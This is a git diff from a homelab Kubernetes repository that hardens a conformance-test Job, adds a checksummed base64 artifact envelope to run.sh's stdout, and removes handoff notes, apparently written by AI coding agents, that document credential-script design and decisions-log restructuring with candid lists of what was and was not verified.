||||||
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||||
|
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
||||||
|
# stays read-only and no third volume is needed.
|
||||||
|
- name: TMPDIR
|
||||||
|
value: /workspace/tmp
|
||||||
|
- name: HOME
|
||||||
|
value: /workspace/home
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- { name: workspace, mountPath: /workspace }
|
- { name: workspace, mountPath: /workspace }
|
||||||
- { name: results, mountPath: /workspace/conformance/_artifacts }
|
|
||||||
securityContext:
|
securityContext:
|
||||||
allowPrivilegeEscalation: false
|
allowPrivilegeEscalation: false
|
||||||
readOnlyRootFilesystem: true
|
readOnlyRootFilesystem: true
|
||||||
capabilities: { drop: ["ALL"] }
|
capabilities: { drop: ["ALL"] }
|
||||||
runAsNonRoot: true
|
runAsNonRoot: true
|
||||||
|
resources:
|
||||||
|
requests: { cpu: 100m, memory: 128Mi }
|
||||||
|
limits: { cpu: "1", memory: 512Mi }
|
||||||
|
containers:
|
||||||
|
- name: chainsaw
|
||||||
|
# Digest-pinned under the conformance repository path — the admission policy
|
||||||
|
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
||||||
|
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||||
|
workingDir: /workspace/src/conformance
|
||||||
|
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
||||||
|
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||||
|
command: ["./run.sh"]
|
||||||
|
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||||
|
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||||
|
args: ["--layer", "l2,l3"]
|
||||||
|
env:
|
||||||
|
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||||
|
# artifact tree onto the `results` volume. It cannot live at its default
|
||||||
|
# conformance/_artifacts, because a volume mounted inside the clone target
|
||||||
|
# would make that directory non-empty and `git clone` would refuse it.
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
||||||
|
# base64 tar over an operator's terminal.
|
||||||
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
value: "1"
|
||||||
|
- name: TMPDIR
|
||||||
|
value: /workspace/tmp
|
||||||
|
- name: HOME
|
||||||
|
value: /workspace/home
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
- { name: results, mountPath: /results }
|
||||||
|
securityContext:
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
runAsNonRoot: true
|
||||||
|
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
||||||
|
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
||||||
|
# node without starving the suite.
|
||||||
|
resources:
|
||||||
|
requests: { cpu: 250m, memory: 512Mi }
|
||||||
|
limits: { cpu: "2", memory: 2Gi }
|
||||||
volumes:
|
volumes:
|
||||||
# Suite source: populated by an init-container git clone of the impl repo at
|
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
||||||
# the commit under test, OR a Flux-synced source volume. (Init container
|
# Suite source, written by the init container: /workspace/src is the checkout,
|
||||||
# omitted from this skeleton; wire in T-6.1b.)
|
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
||||||
- name: workspace
|
- name: workspace
|
||||||
emptyDir: {}
|
emptyDir: {}
|
||||||
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
|
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
||||||
# for a results PVC if durability beyond pod lifetime is required.
|
# carries; an emptyDir is sufficient because the transport is the log, not the
|
||||||
|
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
||||||
- name: results
|
- name: results
|
||||||
emptyDir: {}
|
emptyDir: {}
|
||||||
+111
-1
@@ -60,6 +60,17 @@
|
|||||||
# _artifacts/status/status.md human requirement-status report (--status)
|
# _artifacts/status/status.md human requirement-status report (--status)
|
||||||
# _artifacts/status/status.json machine requirement-status report (--status)
|
# _artifacts/status/status.json machine requirement-status report (--status)
|
||||||
#
|
#
|
||||||
|
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||||||
|
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||||||
|
# conformance/_artifacts (the Job mounts a `results`
|
||||||
|
# volume, which cannot sit inside the git-clone target).
|
||||||
|
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||||||
|
# checksummed base64 tar of the artifact tree to STDOUT,
|
||||||
|
# because `kubectl logs` is the only channel CI has out of
|
||||||
|
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||||||
|
# TRANSPORT block below for the envelope and for the five
|
||||||
|
# checks a collector MUST make. Never set this locally.
|
||||||
|
#
|
||||||
# Run ledger (TRACKED — commit these; --record only):
|
# Run ledger (TRACKED — commit these; --record only):
|
||||||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||||||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||||||
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
|
|||||||
# shellcheck source=versions.env
|
# shellcheck source=versions.env
|
||||||
source "${CONF_ROOT}/versions.env"
|
source "${CONF_ROOT}/versions.env"
|
||||||
|
|
||||||
ARTIFACTS="${CONF_ROOT}/_artifacts"
|
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||||||
|
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||||||
|
# path, because that path is inside the directory the init container `git clone`s into and
|
||||||
|
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||||||
|
# a local run is byte-identical to what it always was.
|
||||||
|
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||||||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||||||
STATUS_OUT="${ARTIFACTS}/status"
|
STATUS_OUT="${ARTIFACTS}/status"
|
||||||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||||||
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
|||||||
exit "${RUN_RC}"
|
exit "${RUN_RC}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||||||
|
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||||||
|
#
|
||||||
|
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||||||
|
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||||||
|
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||||||
|
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||||||
|
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||||||
|
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||||||
|
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||||||
|
# ships its JUnit — the red report is the evidence the gate needs most.
|
||||||
|
#
|
||||||
|
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||||||
|
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||||||
|
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||||||
|
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||||||
|
# needed to PROVE completeness, and carries it TWICE:
|
||||||
|
#
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
# <base64 of the .tgz, wrapped at 76 columns>
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
#
|
||||||
|
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||||||
|
# never as "no artifacts", never as a pass:
|
||||||
|
# 1. exactly one BEGIN line and exactly one END line;
|
||||||
|
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||||||
|
# means two interleaved or re-emitted envelopes in one log;
|
||||||
|
# 3. the count of body lines between them equals lines=;
|
||||||
|
# 4. the decoded byte count equals bytes=;
|
||||||
|
# 5. sha256 of the decoded bytes equals sha256=.
|
||||||
|
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||||||
|
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||||||
|
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||||||
|
# which is the whole design requirement.
|
||||||
|
#
|
||||||
|
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||||||
|
# against the Job's completion condition instead of trusting either signal alone.
|
||||||
|
#
|
||||||
|
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||||||
|
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||||||
|
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||||||
|
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||||||
|
# contents wherever it likes.
|
||||||
|
#
|
||||||
|
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||||||
|
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||||||
|
###############################################################################
|
||||||
|
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||||||
|
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||||||
|
|
||||||
|
conf_emit_artifacts_tgz() {
|
||||||
|
local rc="${1:-0}"
|
||||||
|
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||||||
|
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||||||
|
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||||||
|
trap - EXIT
|
||||||
|
(
|
||||||
|
set +e
|
||||||
|
local tmp tgz b64 bytes lines sha payload
|
||||||
|
tmp="${TMPDIR:-/tmp}"
|
||||||
|
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||||||
|
b64="${tgz}.b64"
|
||||||
|
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||||||
|
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||||||
|
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||||||
|
rm -f "${tgz}"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||||||
|
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||||||
|
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||||||
|
rm -f "${tgz}" "${b64}"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||||||
|
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||||||
|
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||||||
|
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||||||
|
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||||
|
cat "${b64}"
|
||||||
|
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||||
|
rm -f "${tgz}" "${b64}"
|
||||||
|
exit 0
|
||||||
|
)
|
||||||
|
exit "${rc}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||||||
|
# emits a second envelope into its child's tee'd log.
|
||||||
|
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||||||
|
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||||||
|
fi
|
||||||
|
|
||||||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||||||
gen_coverage() {
|
gen_coverage() {
|
||||||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||||||
|
|||||||
@@ -1,125 +0,0 @@
|
|||||||
---
|
|
||||||
date: 2026-09-29
|
|
||||||
branch: feat/conformance-trigger-kubeconfig
|
|
||||||
title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
|
|
||||||
---
|
|
||||||
|
|
||||||
## What changed
|
|
||||||
|
|
||||||
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
|
|
||||||
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
|
|
||||||
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
|
|
||||||
changing Gitea variables are operator actions; nothing was minted, no Gitea object was
|
|
||||||
written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
|
|
||||||
not about the platform.
|
|
||||||
|
|
||||||
*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
|
|
||||||
**only that token** with the cluster CA and server into a kubeconfig, stores it as the
|
|
||||||
Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
|
|
||||||
prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
|
|
||||||
precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
|
|
||||||
argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
|
|
||||||
under `set -x`.
|
|
||||||
|
|
||||||
*The design decision worth reviewing: TWO precondition classes.*
|
|
||||||
|
|
||||||
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
|
|
||||||
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
|
|
||||||
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
|
|
||||||
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
|
|
||||||
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
|
|
||||||
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
|
|
||||||
exists to close.
|
|
||||||
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
|
|
||||||
plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
|
|
||||||
referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
|
|
||||||
variable, because storing the secret early is harmless and is the plan's own order.
|
|
||||||
|
|
||||||
**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
|
|
||||||
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
|
|
||||||
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
|
|
||||||
names the trigger kubeconfig only in its TODO comment). So on a live run today the script
|
|
||||||
would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
|
|
||||||
missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
|
|
||||||
work that unblocks it.
|
|
||||||
|
|
||||||
*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
|
|
||||||
HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
|
|
||||||
the object back. For the secret that is presence-by-name only (Gitea never returns secret
|
|
||||||
values) and the script says so rather than implying the content was checked; for the variable
|
|
||||||
it asserts the value reads back as exactly `true`.
|
|
||||||
|
|
||||||
*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
|
|
||||||
detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
|
|
||||||
`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
|
|
||||||
closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
|
|
||||||
(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
|
|
||||||
local-run environment variable, never as CI wiring, because the secret that would feed it
|
|
||||||
cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
|
|
||||||
it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
|
|
||||||
secret `GITEA_SETTINGS_TOKEN`, which is impossible.
|
|
||||||
|
|
||||||
*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
|
|
||||||
`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
|
|
||||||
PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
|
|
||||||
`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
|
|
||||||
`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
|
|
||||||
commits; the commit that contained only the log append was dropped and its substance folded
|
|
||||||
in below.
|
|
||||||
|
|
||||||
## What I verified
|
|
||||||
|
|
||||||
*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
|
|
||||||
must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
|
|
||||||
round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
|
|
||||||
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
|
|
||||||
pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
|
|
||||||
`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
|
|
||||||
says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
|
|
||||||
property of the code as read, not of an execution.
|
|
||||||
|
|
||||||
*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
|
|
||||||
this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
|
|
||||||
security-relevant. Measured on the PR head commit's `/statuses`:
|
|
||||||
|
|
||||||
gate / gate (pull_request) success Successful in 1m34s
|
|
||||||
gate / conformance (pull_request) pending Blocked by required conditions
|
|
||||||
|
|
||||||
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
|
|
||||||
**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
|
|
||||||
paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
|
|
||||||
actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
|
|
||||||
believed to exist because a brief said so. If the policy is intended, it is missing and needs
|
|
||||||
its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
|
|
||||||
script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
|
|
||||||
|
|
||||||
*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
|
|
||||||
plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
|
|
||||||
Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
|
|
||||||
`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
|
|
||||||
green; the gate decision names exactly one stage that did not run — `gitea-settings`
|
|
||||||
(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
|
|
||||||
`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
|
|
||||||
`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
|
|
||||||
file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
|
|
||||||
`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
|
|
||||||
|
|
||||||
## What I did NOT verify
|
|
||||||
|
|
||||||
**The script has never executed.** Not one line of it has run against Gitea or against the
|
|
||||||
cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
|
|
||||||
shellcheck stage in the gate.
|
|
||||||
|
|
||||||
- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
|
|
||||||
is from **documentation, not measurement**. The script tries POST then falls back to PUT,
|
|
||||||
prints the response body on failure, and treats the read-back as the authority.
|
|
||||||
- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
|
|
||||||
and treats "neither present" as a block rather than assuming ready — but which form this
|
|
||||||
cluster actually reports is **unmeasured**.
|
|
||||||
- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
|
|
||||||
known from here** — hence `--server`, and a hard refusal on a loopback address.
|
|
||||||
- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
|
|
||||||
set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
|
|
||||||
is read from the RBAC and the script, not observed.
|
|
||||||
- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
|
|
||||||
here is evidence about runtime behaviour.
|
|
||||||
@@ -1,82 +0,0 @@
|
|||||||
---
|
|
||||||
date: 2026-09-29
|
|
||||||
branch: chore/decisions-log-conflict-free
|
|
||||||
title: The handoff log was serialising every parallel branch — it is a directory now
|
|
||||||
---
|
|
||||||
|
|
||||||
## What changed
|
|
||||||
|
|
||||||
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
|
|
||||||
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
|
|
||||||
is nothing for git to merge.
|
|
||||||
|
|
||||||
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
|
|
||||||
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
|
|
||||||
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
|
|
||||||
gate run before it. The agents work in isolated worktrees precisely so they don't block each
|
|
||||||
other, and this one file undid that.
|
|
||||||
|
|
||||||
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
|
|
||||||
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
|
|
||||||
failed) and a counter has two agents racing for the same number. The directory listing is the
|
|
||||||
index.
|
|
||||||
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
|
|
||||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
|
|
||||||
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
|
|
||||||
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
|
|
||||||
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
|
|
||||||
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
|
|
||||||
in the tree under test and needs no tool and no cluster.
|
|
||||||
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
|
|
||||||
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
|
|
||||||
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
|
|
||||||
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
|
|
||||||
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
|
|
||||||
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
|
|
||||||
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
|
|
||||||
stub rather than the decision logic.
|
|
||||||
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
|
|
||||||
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
|
|
||||||
named.
|
|
||||||
|
|
||||||
A guard rather than a paragraph, because the old habit is written into the runbooks and into
|
|
||||||
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
|
|
||||||
commit that re-creates the conflict on *other people's* branches, later, misattributed.
|
|
||||||
|
|
||||||
## What I verified
|
|
||||||
|
|
||||||
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
|
|
||||||
2026-09-29), not inferred from the tree:
|
|
||||||
|
|
||||||
#22 fix/crafty-oauth2-proxy-signin mergeable=False
|
|
||||||
#20 feat/conformance-job-template mergeable=False
|
|
||||||
#19 feat/conformance-trigger-kubeconfig mergeable=False
|
|
||||||
#18 feat/conformance-runner-image mergeable=False
|
|
||||||
#17 feat/ci-is-the-approver mergeable=True
|
|
||||||
|
|
||||||
`git merge-tree --write-tree origin/main origin/<branch>` for each named
|
|
||||||
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
|
|
||||||
clean and touched no log entry. So the log's storage format was the whole of the blockage.
|
|
||||||
|
|
||||||
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
|
|
||||||
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
|
|
||||||
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
|
|
||||||
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
|
|
||||||
|
|
||||||
Gate: see the run quoted in the PR description.
|
|
||||||
|
|
||||||
## What I did NOT verify
|
|
||||||
|
|
||||||
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
|
|
||||||
touches only CI and documentation; it has no cluster-visible effect at all.
|
|
||||||
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
|
|
||||||
change's content but stated so the gate result is not over-read.
|
|
||||||
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
|
|
||||||
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
|
|
||||||
A skipped Gitea job still reports `success`, so read the job log, not the tick.
|
|
||||||
- **The four hung PRs are not yet fixed by this commit.** They still carry their
|
|
||||||
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
|
|
||||||
its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
|
|
||||||
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
|
|
||||||
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
|
|
||||||
the damage; it joins the existing tracked work on stale `git push origin main` wording.
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
|
|
||||||
@@ -1,101 +0,0 @@
|
|||||||
# `decisions/` — the handoff log, one file per entry
|
|
||||||
|
|
||||||
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
|
|
||||||
everything written before 2026-09-29 and is never edited again (see "The archive is
|
|
||||||
frozen" below).
|
|
||||||
|
|
||||||
## Why this exists
|
|
||||||
|
|
||||||
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
|
|
||||||
**tail**. Two branches that both append hit the same last hunk, so git cannot
|
|
||||||
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
|
|
||||||
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
|
|
||||||
`DECISIONS-LOG.md` was the only conflicting file in all four**:
|
|
||||||
|
|
||||||
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
|
||||||
#17 feat/ci-is-the-approver clean (it touched no log entry)
|
|
||||||
|
|
||||||
Nothing was wrong with any of those changes. The log's *storage format* serialised work
|
|
||||||
that was otherwise parallel, and it got worse with every concurrent branch: N branches
|
|
||||||
produce N-1 rebases, each of which invalidates any gate run that preceded it.
|
|
||||||
|
|
||||||
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
|
|
||||||
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
|
|
||||||
nothing for git to merge and nothing to conflict. This scales to any number of parallel
|
|
||||||
branches with zero coordination — which is the point, since the agents are deliberately
|
|
||||||
isolated from each other in separate worktrees and cannot coordinate.
|
|
||||||
|
|
||||||
There is deliberately **no index file** and no counter. An index would be a shared
|
|
||||||
mutable file — exactly the thing that just failed — and a sequence number would have
|
|
||||||
two agents racing for `0043`. The directory listing is the index.
|
|
||||||
|
|
||||||
## Writing an entry
|
|
||||||
|
|
||||||
One file per handoff, named:
|
|
||||||
|
|
||||||
